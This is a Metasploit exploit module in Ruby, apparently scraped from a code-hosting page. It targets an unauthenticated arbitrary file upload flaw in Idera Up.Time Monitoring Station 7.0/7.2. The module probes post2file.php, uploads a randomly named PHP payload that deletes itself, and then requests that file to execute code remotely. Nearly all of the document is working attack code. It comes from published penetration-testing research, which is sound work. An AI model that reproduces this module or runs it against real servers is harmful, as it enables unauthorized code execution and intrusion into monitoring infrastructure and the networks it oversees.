100 lines
2.9 KiB
Ruby
100 lines
2.9 KiB
Ruby
|
##
|
||
|
|
# This module requires Metasploit: http://metasploit.com/download
|
||
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||
|
|
##
|
||
|
|
|
||
|
|
|
||
|
|
require 'msf/core'
|
||
|
|
|
||
|
|
class Metasploit3 < Msf::Exploit::Remote
|
||
|
|
Rank = ExcellentRanking
|
||
|
|
|
||
|
|
include Msf::Exploit::Remote::HttpClient
|
||
|
|
include Msf::Exploit::PhpEXE
|
||
|
|
|
||
|
|
def initialize(info = {})
|
||
|
|
super(update_info(info,
|
||
|
|
'Name' => 'Idera Up.Time Monitoring Station 7.0 post2file.php Arbitrary File Upload',
|
||
|
|
'Description' => %q{
|
||
|
|
This module exploits an arbitrary file upload vulnerability found within the Up.Time
|
||
|
|
monitoring server 7.2 and below. A malicious entity can upload a PHP file into the
|
||
|
|
webroot without authentication, leading to arbitrary code execution.
|
||
|
|
},
|
||
|
|
'Author' =>
|
||
|
|
[
|
||
|
|
'Denis Andzakovic <denis.andzakovic[at]security-assessment.com>' # Vulnerability discoverey and MSF module
|
||
|
|
],
|
||
|
|
'License' => MSF_LICENSE,
|
||
|
|
'References' =>
|
||
|
|
[
|
||
|
|
[ 'OSVDB', '100423' ],
|
||
|
|
[ 'BID', '64031'],
|
||
|
|
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ]
|
||
|
|
],
|
||
|
|
'Payload' =>
|
||
|
|
{
|
||
|
|
'Space' => 10000, # just a big enough number to fit any PHP payload
|
||
|
|
'DisableNops' => true
|
||
|
|
},
|
||
|
|
'Platform' => 'php',
|
||
|
|
'Arch' => ARCH_PHP,
|
||
|
|
'Targets' =>
|
||
|
|
[
|
||
|
|
[ 'Up.Time 7.0/7.2', { } ],
|
||
|
|
],
|
||
|
|
'DefaultTarget' => 0,
|
||
|
|
'DisclosureDate' => 'Nov 19 2013'))
|
||
|
|
|
||
|
|
register_options([
|
||
|
|
OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']),
|
||
|
|
Opt::RPORT(9999)
|
||
|
|
], self.class)
|
||
|
|
end
|
||
|
|
|
||
|
|
def check
|
||
|
|
uri = target_uri.path
|
||
|
|
|
||
|
|
res = send_request_cgi({
|
||
|
|
'method' => 'POST',
|
||
|
|
'uri' => normalize_uri(uri, 'wizards', 'post2file.php')
|
||
|
|
})
|
||
|
|
|
||
|
|
if res and res.code == 500 and res.body.to_s =~ /<title><\/title>/
|
||
|
|
return Exploit::CheckCode::Appears
|
||
|
|
end
|
||
|
|
|
||
|
|
return Exploit::CheckCode::Safe
|
||
|
|
|
||
|
|
end
|
||
|
|
|
||
|
|
def exploit
|
||
|
|
print_status("#{peer} - Uploading PHP to Up.Time server")
|
||
|
|
uri = target_uri.path
|
||
|
|
|
||
|
|
@payload_name = "#{rand_text_alpha(5)}.php"
|
||
|
|
php_payload = get_write_exec_payload(:unlink_self => true)
|
||
|
|
|
||
|
|
post_data = ({
|
||
|
|
"file_name" => @payload_name,
|
||
|
|
"script" => php_payload
|
||
|
|
})
|
||
|
|
|
||
|
|
print_status("#{peer} - Uploading payload #{@payload_name}")
|
||
|
|
res = send_request_cgi({
|
||
|
|
'method' => 'POST',
|
||
|
|
'uri' => normalize_uri(uri, 'wizards', 'post2file.php'),
|
||
|
|
'vars_post' => post_data,
|
||
|
|
})
|
||
|
|
|
||
|
|
unless res and res.code == 200 and res.body.to_s =~ /<title><\/title>/
|
||
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
|
||
|
|
end
|
||
|
|
|
||
|
|
print_status("#{peer} - Executing payload #{@payload_name}")
|
||
|
|
res = send_request_cgi({
|
||
|
|
'uri' => normalize_uri(uri, 'wizards', @payload_name),
|
||
|
|
'method' => 'GET'
|
||
|
|
})
|
||
|
|
end
|
||
|
|
end
|